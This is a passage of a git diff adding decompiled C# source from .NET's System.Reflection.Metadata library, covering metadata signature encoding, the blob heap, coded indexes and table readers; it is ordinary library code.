convention, attributes).RawValue); + if (genericParameterCount != 0) + { + Builder.WriteCompressedInteger(genericParameterCount); + } + return new MethodSignatureEncoder(Builder, convention == SignatureCallingConvention.VarArgs); + } + + public MethodSignatureEncoder PropertySignature(bool isInstanceProperty = false) + { + Builder.WriteByte(new SignatureHeader(SignatureKind.Property, SignatureCallingConvention.Default, isInstanceProperty ? SignatureAttributes.Instance : SignatureAttributes.None).RawValue); + return new MethodSignatureEncoder(Builder, hasVarArgs: false); + } + + public void CustomAttributeSignature(out FixedArgumentsEncoder fixedArguments, out CustomAttributeNamedArgumentsEncoder namedArguments) + { + Builder.WriteUInt16(1); + fixedArguments = new FixedArgumentsEncoder(Builder); + namedArguments = new CustomAttributeNamedArgumentsEncoder(Builder); + } + + public void CustomAttributeSignature(Action fixedArguments, Action namedArguments) + { + if (fixedArguments == null) + { + Throw.ArgumentNull("fixedArguments"); + } + if (namedArguments == null) + { + Throw.ArgumentNull("namedArguments"); + } + CustomAttributeSignature(out var fixedArguments2, out var namedArguments2); + fixedArguments(fixedArguments2); + namedArguments(namedArguments2); + } + + public LocalVariablesEncoder LocalVariableSignature(int variableCount) + { + if ((uint)variableCount > 536870911u) + { + Throw.ArgumentOutOfRange("variableCount"); + } + Builder.WriteByte(7); + Builder.WriteCompressedInteger(variableCount); + return new LocalVariablesEncoder(Builder); + } + + public SignatureTypeEncoder TypeSpecificationSignature() + { + return new SignatureTypeEncoder(Builder); + } + + public PermissionSetEncoder PermissionSetBlob(int attributeCount) + { + if ((uint)attributeCount > 536870911u) + { + Throw.ArgumentOutOfRange("attributeCount"); + } + Builder.WriteByte(46); + Builder.WriteCompressedInteger(attributeCount); + return new PermissionSetEncoder(Builder); + } + + public NamedArgumentsEncoder PermissionSetArguments(int argumentCount) + { + if ((uint)argumentCount > 536870911u) + { + Throw.ArgumentOutOfRange("argumentCount"); + } + Builder.WriteCompressedInteger(argumentCount); + return new NamedArgumentsEncoder(Builder); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/BlobHeap.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/BlobHeap.cs new file mode 100644 index 0000000..ace057b --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/BlobHeap.cs @@ -0,0 +1,200 @@ +using System.Reflection.Internal; +using System.Text; + +namespace System.Reflection.Metadata.Ecma335; + +internal struct BlobHeap +{ + private static byte[][] s_virtualValues; + + internal readonly MemoryBlock Block; + + private VirtualHeap _lazyVirtualHeap; + + internal BlobHeap(MemoryBlock block, MetadataKind metadataKind) + { + _lazyVirtualHeap = null; + Block = block; + if (s_virtualValues == null && metadataKind != MetadataKind.Ecma335) + { + s_virtualValues = new byte[5][] + { + null, + new byte[8] { 176, 63, 95, 127, 17, 213, 10, 58 }, + new byte[160] + { + 0, 36, 0, 0, 4, 128, 0, 0, 148, 0, + 0, 0, 6, 2, 0, 0, 0, 36, 0, 0, + 82, 83, 65, 49, 0, 4, 0, 0, 1, 0, + 1, 0, 7, 209, 250, 87, 196, 174, 217, 240, + 163, 46, 132, 170, 15, 174, 253, 13, 233, 232, + 253, 106, 236, 143, 135, 251, 3, 118, 108, 131, + 76, 153, 146, 30, 178, 59, 231, 154, 217, 213, + 220, 193, 221, 154, 210, 54, 19, 33, 2, 144, + 11, 114, 60, 249, 128, 149, 127, 196, 225, 119, + 16, 143, 198, 7, 119, 79, 41, 232, 50, 14, + 146, 234, 5, 236, 228, 232, 33, 192, 165, 239, + 232, 241, 100, 92, 76, 12, 147, 193, 171, 153, + 40, 93, 98, 44, 170, 101, 44, 29, 250, 214, + 61, 116, 93, 111, 45, 229, 241, 126, 94, 175, + 15, 196, 150, 61, 38, 28, 138, 18, 67, 101, + 24, 32, 109, 192, 147, 52, 77, 90, 210, 147 + }, + new byte[25] + { + 1, 0, 0, 0, 0, 0, 1, 0, 84, 2, + 13, 65, 108, 108, 111, 119, 77, 117, 108, 116, + 105, 112, 108, 101, 0 + }, + new byte[25] + { + 1, 0, 0, 0, 0, 0, 1, 0, 84, 2, + 13, 65, 108, 108, 111, 119, 77, 117, 108, 116, + 105, 112, 108, 101, 1 + } + }; + } + } + + internal byte[] GetBytes(BlobHandle handle) + { + if (handle.IsVirtual) + { + return GetVirtualBlobBytes(handle, unique: true); + } + int heapOffset = handle.GetHeapOffset(); + int numberOfBytesRead; + int num = Block.PeekCompressedInteger(heapOffset, out numberOfBytesRead); + if (num == int.MaxValue) + { + return Array.Empty(); + } + return Block.PeekBytes(heapOffset + numberOfBytesRead, num); + } + + internal MemoryBlock GetMemoryBlock(BlobHandle handle) + { + if (handle.IsVirtual) + { + return GetVirtualHandleMemoryBlock(handle); + } + Block.PeekHeapValueOffsetAndSize(handle.GetHeapOffset(), out var offset, out var size); + return Block.GetMemoryBlockAt(offset, size); + } + + private MemoryBlock GetVirtualHandleMemoryBlock(BlobHandle handle) + { + VirtualHeap orCreateVirtualHeap = VirtualHeap.GetOrCreateVirtualHeap(ref _lazyVirtualHeap); + lock (orCreateVirtualHeap) + { + if (!orCreateVirtualHeap.TryGetMemoryBlock(handle.RawValue, out var block)) + { + return orCreateVirtualHeap.AddBlob(handle.RawValue, GetVirtualBlobBytes(handle, unique: false)); + } + return block; + } + } + + internal BlobReader GetBlobReader(BlobHandle handle) + { + return new BlobReader(GetMemoryBlock(handle)); + } + + internal BlobHandle GetNextHandle(BlobHandle handle) + { + if (handle.IsVirtual) + { + return default(BlobHandle); + } + if (!Block.PeekHeapValueOffsetAndSize(handle.GetHeapOffset(), out var offset, out var size)) + { + return default(BlobHandle); + } + int num = offset + size; + if (num >= Block.Length) + { + return default(BlobHandle); + } + return BlobHandle.FromOffset(num); + } + + internal static byte[] GetVirtualBlobBytes(BlobHandle handle, bool unique) + { + BlobHandle.VirtualIndex virtualIndex = handle.GetVirtualIndex(); + byte[] array = s_virtualValues[(uint)virtualIndex]; + if (virtualIndex - 3 <= BlobHandle.VirtualIndex.ContractPublicKeyToken) + { + array = (byte[])array.Clone(); + handle.SubstituteTemplateParameters(array); + } + else if (unique) + { + array = (byte[])array.Clone(); + } + return array; + } + + public string GetDocumentName(DocumentNameBlobHandle handle) + { + BlobReader blobReader = GetBlobReader(handle); + int num = blobReader.ReadByte(); + if (num > 127) + { + throw new BadImageFormatException(System.SR.InvalidDocumentName); + } + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + bool flag = true; + while (blobReader.RemainingBytes > 0) + { + if (num != 0 && !flag) + { + builder.Append((char)num); + } + BlobReader blobReader2 = GetBlobReader(blobReader.ReadBlobHandle()); + builder.Append(blobReader2.ReadUTF8(blobReader2.Length)); + flag = false; + } + return instance.ToStringAndFree(); + } + + internal bool DocumentNameEquals(DocumentNameBlobHandle handle, string other, bool ignoreCase) + { + BlobReader blobReader = GetBlobReader(handle); + int num = blobReader.ReadByte(); + if (num > 127) + { + return false; + } + int ignoreCaseMask = StringUtils.IgnoreCaseMask(ignoreCase); + int num2 = 0; + int firstDifferenceIndex; + for (bool flag = true; blobReader.RemainingBytes > 0; num2 = firstDifferenceIndex, flag = false) + { + if (num != 0 && !flag) + { + if (num2 == other.Length || !StringUtils.IsEqualAscii(other[num2], num, ignoreCaseMask)) + { + return false; + } + num2++; + } + MemoryBlock memoryBlock = GetMemoryBlock(blobReader.ReadBlobHandle()); + switch (memoryBlock.Utf8NullTerminatedFastCompare(0, other, num2, out firstDifferenceIndex, '\0', ignoreCase)) + { + case MemoryBlock.FastComparisonResult.Inconclusive: + return GetDocumentName(handle).Equals(other, ignoreCase ? StringComparison.OrdinalIgnoreCase : StringComparison.Ordinal); + default: + if (firstDifferenceIndex - num2 == memoryBlock.Length) + { + continue; + } + break; + case MemoryBlock.FastComparisonResult.Unequal: + break; + } + return false; + } + return num2 == other.Length; + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/COR20Constants.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/COR20Constants.cs new file mode 100644 index 0000000..5ec440a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/COR20Constants.cs @@ -0,0 +1,32 @@ +namespace System.Reflection.Metadata.Ecma335; + +internal static class COR20Constants +{ + internal const int SizeOfCorHeader = 72; + + internal const uint COR20MetadataSignature = 1112167234u; + + internal const int MinimumSizeofMetadataHeader = 16; + + internal const int SizeofStorageHeader = 4; + + internal const int MinimumSizeofStreamHeader = 8; + + internal const string StringStreamName = "#Strings"; + + internal const string BlobStreamName = "#Blob"; + + internal const string GUIDStreamName = "#GUID"; + + internal const string UserStringStreamName = "#US"; + + internal const string CompressedMetadataTableStreamName = "#~"; + + internal const string UncompressedMetadataTableStreamName = "#-"; + + internal const string MinimalDeltaMetadataTableStreamName = "#JTD"; + + internal const string StandalonePdbStreamName = "#Pdb"; + + internal const int LargeStreamHeapSize = 4096; +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ClassLayoutTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ClassLayoutTableReader.cs new file mode 100644 index 0000000..66d7902 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ClassLayoutTableReader.cs @@ -0,0 +1,63 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal struct ClassLayoutTableReader +{ + internal int NumberOfRows; + + private readonly bool _IsTypeDefTableRowRefSizeSmall; + + private readonly int _PackagingSizeOffset; + + private readonly int _ClassSizeOffset; + + private readonly int _ParentOffset; + + internal readonly int RowSize; + + internal MemoryBlock Block; + + internal ClassLayoutTableReader(int numberOfRows, bool declaredSorted, int typeDefTableRowRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsTypeDefTableRowRefSizeSmall = typeDefTableRowRefSize == 2; + _PackagingSizeOffset = 0; + _ClassSizeOffset = _PackagingSizeOffset + 2; + _ParentOffset = _ClassSizeOffset + 4; + RowSize = _ParentOffset + typeDefTableRowRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.ClassLayout); + } + } + + internal TypeDefinitionHandle GetParent(int rowId) + { + int num = (rowId - 1) * RowSize; + return TypeDefinitionHandle.FromRowId(Block.PeekReference(num + _ParentOffset, _IsTypeDefTableRowRefSizeSmall)); + } + + internal ushort GetPackingSize(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekUInt16(num + _PackagingSizeOffset); + } + + internal uint GetClassSize(int rowId) + { + int num = (rowId - 1) * RowSize; + return Block.PeekUInt32(num + _ClassSizeOffset); + } + + internal int FindRow(TypeDefinitionHandle typeDef) + { + return 1 + Block.BinarySearchReference(NumberOfRows, RowSize, _ParentOffset, (uint)typeDef.RowId, _IsTypeDefTableRowRefSizeSmall); + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _ParentOffset, _IsTypeDefTableRowRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CodedIndex.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CodedIndex.cs new file mode 100644 index 0000000..f6d4332 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/CodedIndex.cs @@ -0,0 +1,559 @@ +namespace System.Reflection.Metadata.Ecma335; + +public static class CodedIndex +{ + private enum HasCustomAttributeTag + { + MethodDef = 0, + Field = 1, + TypeRef = 2, + TypeDef = 3, + Param = 4, + InterfaceImpl = 5, + MemberRef = 6, + Module = 7, + DeclSecurity = 8, + Property = 9, + Event = 10, + StandAloneSig = 11, + ModuleRef = 12, + TypeSpec = 13, + Assembly = 14, + AssemblyRef = 15, + File = 16, + ExportedType = 17, + ManifestResource = 18, + GenericParam = 19, + GenericParamConstraint = 20, + MethodSpec = 21, + BitCount = 5 + } + + private enum HasConstantTag + { + Field = 0, + Param = 1, + Property = 2, + BitCount = 2 + } + + private enum CustomAttributeTypeTag + { + MethodDef = 2, + MemberRef = 3, + BitCount = 3 + } + + private enum HasDeclSecurityTag + { + TypeDef = 0, + MethodDef = 1, + Assembly = 2, + BitCount = 2 + } + + private enum HasFieldMarshalTag + { + Field = 0, + Param = 1, + BitCount = 1 + } + + private enum HasSemanticsTag + { + Event = 0, + Property = 1, + BitCount = 1 + } + + private enum ImplementationTag + { + File = 0, + AssemblyRef = 1, + ExportedType = 2, + BitCount = 2 + } + + private enum MemberForwardedTag + { + Field = 0, + MethodDef = 1, + BitCount = 1 + } + + private enum MemberRefParentTag + { + TypeDef = 0, + TypeRef = 1, + ModuleRef = 2, + MethodDef = 3, + TypeSpec = 4, + BitCount = 3 + } + + private enum MethodDefOrRefTag + { + MethodDef = 0, + MemberRef = 1, + BitCount = 1 + } + + private enum ResolutionScopeTag + { + Module = 0, + ModuleRef = 1, + AssemblyRef = 2, + TypeRef = 3, + BitCount = 2 + } + + private enum TypeDefOrRefOrSpecTag + { + TypeDef = 0, + TypeRef = 1, + TypeSpec = 2, + BitCount = 2 + } + + private enum TypeDefOrRefTag + { + TypeDef, + TypeRef, + BitCount + } + + private enum TypeOrMethodDefTag + { + TypeDef = 0, + MethodDef = 1, + BitCount = 1 + } + + private enum HasCustomDebugInformationTag + { + MethodDef = 0, + Field = 1, + TypeRef = 2, + TypeDef = 3, + Param = 4, + InterfaceImpl = 5, + MemberRef = 6, + Module = 7, + DeclSecurity = 8, + Property = 9, + Event = 10, + StandAloneSig = 11, + ModuleRef = 12, + TypeSpec = 13, + Assembly = 14, + AssemblyRef = 15, + File = 16, + ExportedType = 17, + ManifestResource = 18, + GenericParam = 19, + GenericParamConstraint = 20, + MethodSpec = 21, + Document = 22, + LocalScope = 23, + LocalVariable = 24, + LocalConstant = 25, + ImportScope = 26, + BitCount = 5 + } + + public static int HasCustomAttribute(EntityHandle handle) + { + return (handle.RowId << 5) | (int)ToHasCustomAttributeTag(handle.Kind); + } + + public static int HasConstant(EntityHandle handle) + { + return (handle.RowId << 2) | (int)ToHasConstantTag(handle.Kind); + } + + public static int CustomAttributeType(EntityHandle handle) + { + return (handle.RowId << 3) | (int)ToCustomAttributeTypeTag(handle.Kind); + } + + public static int HasDeclSecurity(EntityHandle handle) + { + return (handle.RowId << 2) | (int)ToHasDeclSecurityTag(handle.Kind); + } + + public static int HasFieldMarshal(EntityHandle handle) + { + return (handle.RowId << 1) | (int)ToHasFieldMarshalTag(handle.Kind); + } + + public static int HasSemantics(EntityHandle handle) + { + return (handle.RowId << 1) | (int)ToHasSemanticsTag(handle.Kind); + } + + public static int Implementation(EntityHandle handle) + { + return (handle.RowId << 2) | (int)ToImplementationTag(handle.Kind); + } + + public static int MemberForwarded(EntityHandle handle) + { + return (handle.RowId << 1) | (int)ToMemberForwardedTag(handle.Kind); + } + + public static int MemberRefParent(EntityHandle handle) + { + return (handle.RowId << 3) | (int)ToMemberRefParentTag(handle.Kind); + } + + public static int MethodDefOrRef(EntityHandle handle) + { + return (handle.RowId << 1) | (int)ToMethodDefOrRefTag(handle.Kind); + } + + public static int ResolutionScope(EntityHandle handle) + { + return (handle.RowId << 2) | (int)ToResolutionScopeTag(handle.Kind); + } + + public static int TypeDefOrRef(EntityHandle handle) + { + return (handle.RowId << 2) | (int)ToTypeDefOrRefTag(handle.Kind); + } + + public static int TypeDefOrRefOrSpec(EntityHandle handle) + { + return (handle.RowId << 2) | (int)ToTypeDefOrRefOrSpecTag(handle.Kind); + } + + public static int TypeOrMethodDef(EntityHandle handle) + { + return (handle.RowId << 1) | (int)ToTypeOrMethodDefTag(handle.Kind); + } + + public static int HasCustomDebugInformation(EntityHandle handle) + { + return (handle.RowId << 5) | (int)ToHasCustomDebugInformationTag(handle.Kind); + } + + private static HasCustomAttributeTag ToHasCustomAttributeTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.MethodDefinition: + return HasCustomAttributeTag.MethodDef; + case HandleKind.FieldDefinition: + return HasCustomAttributeTag.Field; + case HandleKind.TypeReference: + return HasCustomAttributeTag.TypeRef; + case HandleKind.TypeDefinition: + return HasCustomAttributeTag.TypeDef; + case HandleKind.Parameter: + return HasCustomAttributeTag.Param; + case HandleKind.InterfaceImplementation: + return HasCustomAttributeTag.InterfaceImpl; + case HandleKind.MemberReference: + return HasCustomAttributeTag.MemberRef; + case HandleKind.ModuleDefinition: + return HasCustomAttributeTag.Module; + case HandleKind.DeclarativeSecurityAttribute: + return HasCustomAttributeTag.DeclSecurity; + case HandleKind.PropertyDefinition: + return HasCustomAttributeTag.Property; + case HandleKind.EventDefinition: + return HasCustomAttributeTag.Event; + case HandleKind.StandaloneSignature: + return HasCustomAttributeTag.StandAloneSig; + case HandleKind.ModuleReference: + return HasCustomAttributeTag.ModuleRef; + case HandleKind.TypeSpecification: + return HasCustomAttributeTag.TypeSpec; + case HandleKind.AssemblyDefinition: + return HasCustomAttributeTag.Assembly; + case HandleKind.AssemblyReference: + return HasCustomAttributeTag.AssemblyRef; + case HandleKind.AssemblyFile: + return HasCustomAttributeTag.File; + case HandleKind.ExportedType: + return HasCustomAttributeTag.ExportedType; + case HandleKind.ManifestResource: + return HasCustomAttributeTag.ManifestResource; + case HandleKind.GenericParameter: + return HasCustomAttributeTag.GenericParam; + case HandleKind.GenericParameterConstraint: + return HasCustomAttributeTag.GenericParamConstraint; + case HandleKind.MethodSpecification: + return HasCustomAttributeTag.MethodSpec; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return HasCustomAttributeTag.MethodDef; + } + } + + private static HasConstantTag ToHasConstantTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.FieldDefinition: + return HasConstantTag.Field; + case HandleKind.Parameter: + return HasConstantTag.Param; + case HandleKind.PropertyDefinition: + return HasConstantTag.Property; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return HasConstantTag.Field; + } + } + + private static CustomAttributeTypeTag ToCustomAttributeTypeTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.MethodDefinition: + return CustomAttributeTypeTag.MethodDef; + case HandleKind.MemberReference: + return CustomAttributeTypeTag.MemberRef; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return (CustomAttributeTypeTag)0; + } + } + + private static HasDeclSecurityTag ToHasDeclSecurityTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.TypeDefinition: + return HasDeclSecurityTag.TypeDef; + case HandleKind.MethodDefinition: + return HasDeclSecurityTag.MethodDef; + case HandleKind.AssemblyDefinition: + return HasDeclSecurityTag.Assembly; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return HasDeclSecurityTag.TypeDef; + } + } + + private static HasFieldMarshalTag ToHasFieldMarshalTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.FieldDefinition: + return HasFieldMarshalTag.Field; + case HandleKind.Parameter: + return HasFieldMarshalTag.Param; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return HasFieldMarshalTag.Field; + } + } + + private static HasSemanticsTag ToHasSemanticsTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.EventDefinition: + return HasSemanticsTag.Event; + case HandleKind.PropertyDefinition: + return HasSemanticsTag.Property; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return HasSemanticsTag.Event; + } + } + + private static ImplementationTag ToImplementationTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.AssemblyFile: + return ImplementationTag.File; + case HandleKind.AssemblyReference: + return ImplementationTag.AssemblyRef; + case HandleKind.ExportedType: + return ImplementationTag.ExportedType; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return ImplementationTag.File; + } + } + + private static MemberForwardedTag ToMemberForwardedTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.FieldDefinition: + return MemberForwardedTag.Field; + case HandleKind.MethodDefinition: + return MemberForwardedTag.MethodDef; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return MemberForwardedTag.Field; + } + } + + private static MemberRefParentTag ToMemberRefParentTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.TypeDefinition: + return MemberRefParentTag.TypeDef; + case HandleKind.TypeReference: + return MemberRefParentTag.TypeRef; + case HandleKind.ModuleReference: + return MemberRefParentTag.ModuleRef; + case HandleKind.MethodDefinition: + return MemberRefParentTag.MethodDef; + case HandleKind.TypeSpecification: + return MemberRefParentTag.TypeSpec; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return MemberRefParentTag.TypeDef; + } + } + + private static MethodDefOrRefTag ToMethodDefOrRefTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.MethodDefinition: + return MethodDefOrRefTag.MethodDef; + case HandleKind.MemberReference: + return MethodDefOrRefTag.MemberRef; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return MethodDefOrRefTag.MethodDef; + } + } + + private static ResolutionScopeTag ToResolutionScopeTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.TypeReference: + if (kind != HandleKind.TypeReference) + { + break; + } + return ResolutionScopeTag.TypeRef; + case HandleKind.ModuleDefinition: + return ResolutionScopeTag.Module; + case HandleKind.ModuleReference: + return ResolutionScopeTag.ModuleRef; + case HandleKind.AssemblyReference: + return ResolutionScopeTag.AssemblyRef; + } + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return ResolutionScopeTag.Module; + } + + private static TypeDefOrRefOrSpecTag ToTypeDefOrRefOrSpecTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.TypeDefinition: + return TypeDefOrRefOrSpecTag.TypeDef; + case HandleKind.TypeReference: + return TypeDefOrRefOrSpecTag.TypeRef; + case HandleKind.TypeSpecification: + return TypeDefOrRefOrSpecTag.TypeSpec; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return TypeDefOrRefOrSpecTag.TypeDef; + } + } + + private static TypeDefOrRefTag ToTypeDefOrRefTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.TypeDefinition: + return TypeDefOrRefTag.TypeDef; + case HandleKind.TypeReference: + return TypeDefOrRefTag.TypeRef; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return TypeDefOrRefTag.TypeDef; + } + } + + private static TypeOrMethodDefTag ToTypeOrMethodDefTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.TypeDefinition: + return TypeOrMethodDefTag.TypeDef; + case HandleKind.MethodDefinition: + return TypeOrMethodDefTag.MethodDef; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return TypeOrMethodDefTag.TypeDef; + } + } + + private static HasCustomDebugInformationTag ToHasCustomDebugInformationTag(HandleKind kind) + { + switch (kind) + { + case HandleKind.MethodDefinition: + return HasCustomDebugInformationTag.MethodDef; + case HandleKind.FieldDefinition: + return HasCustomDebugInformationTag.Field; + case HandleKind.TypeReference: + return HasCustomDebugInformationTag.TypeRef; + case HandleKind.TypeDefinition: + return HasCustomDebugInformationTag.TypeDef; + case HandleKind.Parameter: + return HasCustomDebugInformationTag.Param; + case HandleKind.InterfaceImplementation: + return HasCustomDebugInformationTag.InterfaceImpl; + case HandleKind.MemberReference: + return HasCustomDebugInformationTag.MemberRef; + case HandleKind.ModuleDefinition: + return HasCustomDebugInformationTag.Module; + case HandleKind.DeclarativeSecurityAttribute: + return HasCustomDebugInformationTag.DeclSecurity; + case HandleKind.PropertyDefinition: + return HasCustomDebugInformationTag.Property; + case HandleKind.EventDefinition: + return HasCustomDebugInformationTag.Event; + case HandleKind.StandaloneSignature: + return HasCustomDebugInformationTag.StandAloneSig; + case HandleKind.ModuleReference: + return HasCustomDebugInformationTag.ModuleRef; + case HandleKind.TypeSpecification: + return HasCustomDebugInformationTag.TypeSpec; + case HandleKind.AssemblyDefinition: + return HasCustomDebugInformationTag.Assembly; + case HandleKind.AssemblyReference: + return HasCustomDebugInformationTag.AssemblyRef; + case HandleKind.AssemblyFile: + return HasCustomDebugInformationTag.File; + case HandleKind.ExportedType: + return HasCustomDebugInformationTag.ExportedType; + case HandleKind.ManifestResource: + return HasCustomDebugInformationTag.ManifestResource; + case HandleKind.GenericParameter: + return HasCustomDebugInformationTag.GenericParam; + case HandleKind.GenericParameterConstraint: + return HasCustomDebugInformationTag.GenericParamConstraint; + case HandleKind.MethodSpecification: + return HasCustomDebugInformationTag.MethodSpec; + case HandleKind.Document: + return HasCustomDebugInformationTag.Document; + case HandleKind.LocalScope: + return HasCustomDebugInformationTag.LocalScope; + case HandleKind.LocalVariable: + return HasCustomDebugInformationTag.LocalVariable; + case HandleKind.LocalConstant: + return HasCustomDebugInformationTag.LocalConstant; + case HandleKind.ImportScope: + return HasCustomDebugInformationTag.ImportScope; + default: + Throw.InvalidArgument_UnexpectedHandleKind(kind); + return HasCustomDebugInformationTag.MethodDef; + } + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ConstantTableReader.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ConstantTableReader.cs new file mode 100644 index 0000000..ad1a1a4 --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ConstantTableReader.cs @@ -0,0 +1,67 @@ +using System.Reflection.Internal; + +namespace System.Reflection.Metadata.Ecma335; + +internal readonly struct ConstantTableReader +{ + internal readonly int NumberOfRows; + + private readonly bool _IsHasConstantRefSizeSmall; + + private readonly bool _IsBlobHeapRefSizeSmall; + + private readonly int _TypeOffset; + + private readonly int _ParentOffset; + + private readonly int _ValueOffset; + + internal readonly int RowSize; + + internal readonly MemoryBlock Block; + + internal ConstantTableReader(int numberOfRows, bool declaredSorted, int hasConstantRefSize, int blobHeapRefSize, MemoryBlock containingBlock, int containingBlockOffset) + { + NumberOfRows = numberOfRows; + _IsHasConstantRefSizeSmall = hasConstantRefSize == 2; + _IsBlobHeapRefSizeSmall = blobHeapRefSize == 2; + _TypeOffset = 0; + _ParentOffset = _TypeOffset + 1 + 1; + _ValueOffset = _ParentOffset + hasConstantRefSize; + RowSize = _ValueOffset + blobHeapRefSize; + Block = containingBlock.GetMemoryBlockAt(containingBlockOffset, RowSize * numberOfRows); + if (!declaredSorted && !CheckSorted()) + { + Throw.TableNotSorted(TableIndex.Constant); + } + } + + internal ConstantTypeCode GetType(ConstantHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return (ConstantTypeCode)Block.PeekByte(num + _TypeOffset); + } + + internal BlobHandle GetValue(ConstantHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return BlobHandle.FromOffset(Block.PeekHeapReference(num + _ValueOffset, _IsBlobHeapRefSizeSmall)); + } + + internal EntityHandle GetParent(ConstantHandle handle) + { + int num = (handle.RowId - 1) * RowSize; + return HasConstantTag.ConvertToHandle(Block.PeekTaggedReference(num + _ParentOffset, _IsHasConstantRefSizeSmall)); + } + + internal ConstantHandle FindConstant(EntityHandle parentHandle) + { + int num = Block.BinarySearchReference(NumberOfRows, RowSize, _ParentOffset, HasConstantTag.ConvertToTag(parentHandle), _IsHasConstantRefSizeSmall); + return ConstantHandle.FromRowId(num + 1); + } + + private bool CheckSorted() + { + return Block.IsOrderedByReferenceAscending(RowSize, _ParentOffset, _IsHasConstantRefSizeSmall); + } +} diff --git a/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ControlFlowBuilder.cs b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ControlFlowBuilder.cs new file mode 100644 index 0000000..6e2bf8a --- /dev/null +++ b/decompiled/Libraries/system.reflection.metadata/System.Reflection.Metadata.Ecma335/ControlFlowBuilder.cs @@ -0,0 +1,254 @@ +using System.Collections.Generic; +using System.Collections.Immutable; + +namespace System.Reflection.Metadata.Ecma335; + +public sealed class ControlFlowBuilder +{ + internal readonly struct BranchInfo + { + internal readonly int ILOffset; + + internal readonly LabelHandle Label; + + private readonly byte _opCode; + + internal ILOpCode OpCode => (ILOpCode)_opCode; + + internal BranchInfo(int ilOffset, LabelHandle label, ILOpCode opCode) + { + ILOffset = ilOffset; + Label = label; + _opCode = (byte)opCode; + } + + internal int GetBranchDistance(Builder labels, ILOpCode branchOpCode, int branchILOffset, bool isShortBranch) + { + int num = labels[Label.Id - 1]; + if (num < 0) + { + Throw.InvalidOperation_LabelNotMarked(Label.Id); + } + int num2 = 1 + (isShortBranch ? 1 : 4); + int num3 = num - (ILOffset + num2); + if (isShortBranch && (sbyte)num3 != num3) + { + throw new InvalidOperationException(System.SR.Format(System.SR.DistanceBetweenInstructionAndLabelTooBig, branchOpCode, branchILOffset, num3)); + } + return num3; + } + } + + internal readonly struct ExceptionHandlerInfo(ExceptionRegionKind kind, LabelHandle tryStart, LabelHandle tryEnd, LabelHandle handlerStart, LabelHandle handlerEnd, LabelHandle filterStart, EntityHandle catchType) + { + public readonly ExceptionRegionKind Kind = kind; + + public readonly LabelHandle TryStart = tryStart; + + public readonly LabelHandle TryEnd = tryEnd; + + public readonly LabelHandle HandlerStart = handlerStart; + + public readonly LabelHandle HandlerEnd = handlerEnd; + + public readonly LabelHandle FilterStart = filterStart; + + public readonly EntityHandle CatchType = catchType; + } + + private readonly Builder _branches; + + private readonly Builder _labels; + + private Builder _lazyExceptionHandlers; + + internal IEnumerable Branches => (IEnumerable)_branches; + + internal IEnumerable Labels => (IEnumerable)_labels; + + internal int BranchCount => _branches.Count; + + internal int ExceptionHandlerCount => _lazyExceptionHandlers?.Count ?? 0; + + public ControlFlowBuilder() + { + 